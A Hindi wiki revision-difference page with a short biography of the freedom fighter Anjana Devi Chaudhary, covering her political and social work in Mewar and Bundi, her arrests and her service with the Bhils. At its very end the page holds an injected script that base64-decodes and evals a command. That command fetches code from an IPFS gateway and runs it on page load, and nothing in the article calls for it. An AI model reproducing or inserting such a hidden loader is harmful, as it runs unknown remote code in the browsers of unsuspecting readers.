अंजना देवी चौधरी: Difference between revisions
[unchecked revision] | [unchecked revision] |
No edit summary |
गोविन्द राम (talk | contribs) m (Adding category Category:चरित कोश (को हटा दिया गया हैं।)) |
||
(One intermediate revision by the same user not shown) | |||
Line 1: | Line 1: | ||
श्रीमति अंजना देवी चौधरी स्वतंत्रता सेनानी [[रामनारायण चौधरी]] की धर्मपत्नि थी। वह प्रथम काँग्रेसी महिला थी, जिसने सामंती अत्याचारों के विरुद्ध विद्रोह किया। अत: वह | श्रीमति अंजना देवी चौधरी स्वतंत्रता सेनानी [[रामनारायण चौधरी]] की धर्मपत्नि थी। वह प्रथम [[भारतीय राष्ट्रीय काँग्रेस|काँग्रेसी]] महिला थी, जिसने सामंती अत्याचारों के विरुद्ध विद्रोह किया। अत: वह गिरफ़्तार और निर्वासित हुई। | ||
;समाज सुधार | ;समाज सुधार | ||
अंजना देवी ने [[1921]] से [[1924]] ई. तक [[मेवाड़]] तथा [[बूँदी]] की महिलाओं में राजनीतिक चेतना जाग्रत की और समाज सुधार तथा सत्याग्रह का कार्य किया। अत: उन्हें गिरफ्तार करके बूँदी राज्य से निर्वासित कर दिया गया। उन्होंने बिजौलिया में 500 महिलाओं के जुलूस का नेतृत्व करते हुए गिरफ्तारी दी और बाद में गिरफ्तार किये गए किसानों को रिहा करवाया। | अंजना देवी ने [[1921]] से [[1924]] ई. तक [[मेवाड़]] तथा [[बूँदी]] की महिलाओं में राजनीतिक चेतना जाग्रत की और समाज सुधार तथा सत्याग्रह का कार्य किया। अत: उन्हें गिरफ्तार करके बूँदी राज्य से निर्वासित कर दिया गया। उन्होंने बिजौलिया में 500 महिलाओं के जुलूस का नेतृत्व करते हुए गिरफ्तारी दी और बाद में गिरफ्तार किये गए किसानों को रिहा करवाया। | ||
Line 10: | Line 10: | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
[[Category: | ==संबंधित लेख== | ||
[[Category: | {{स्वतन्त्रता सेनानी}} | ||
[[Category:स्वतन्त्रता सेनानी]][[Category:इतिहास कोश]] | |||
[[Category:चरित कोश]] | |||
__INDEX__ | __INDEX__ |
Latest revision as of 08:24, 4 June 2011
श्रीमति अंजना देवी चौधरी स्वतंत्रता सेनानी रामनारायण चौधरी की धर्मपत्नि थी। वह प्रथम काँग्रेसी महिला थी, जिसने सामंती अत्याचारों के विरुद्ध विद्रोह किया। अत: वह गिरफ़्तार और निर्वासित हुई।
- समाज सुधार
अंजना देवी ने 1921 से 1924 ई. तक मेवाड़ तथा बूँदी की महिलाओं में राजनीतिक चेतना जाग्रत की और समाज सुधार तथा सत्याग्रह का कार्य किया। अत: उन्हें गिरफ्तार करके बूँदी राज्य से निर्वासित कर दिया गया। उन्होंने बिजौलिया में 500 महिलाओं के जुलूस का नेतृत्व करते हुए गिरफ्तारी दी और बाद में गिरफ्तार किये गए किसानों को रिहा करवाया।
- राष्ट्र के निर्माण के लिए समर्पित
श्रीमति चौधरी ने बेगूं (मेवाड़) में सत्याग्रही किसान महिलाओं को मार्गदर्शन दिया। वे 1932 से 1935 तक राष्ट्रीय आन्दोलनों में भाग लेने के कारण दो बार जेल गईं। उन्होंने 1937 ई. में डूंगरपुर राज्य में भीलों की सेवा का कार्य किया और 1939-1942 ई. तक सेवा ग्राम आश्रम में रहकर बापू के कार्यक्रमों में भाग लिया। वे पाँच वर्ष तक भारत सेवक समाज के महिला सूचना विभाग के संचालन में व्यस्त रहीं। उन्होंने स्वतंत्रता संघर्ष में अपने पति के कंधे से कंधा मिलाकर साथ दिया। वे जीवन पर्यंत जन सेवा एवं राष्ट्र के निर्माण के लिए समर्पित भाव से कार्य करती रहीं।[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>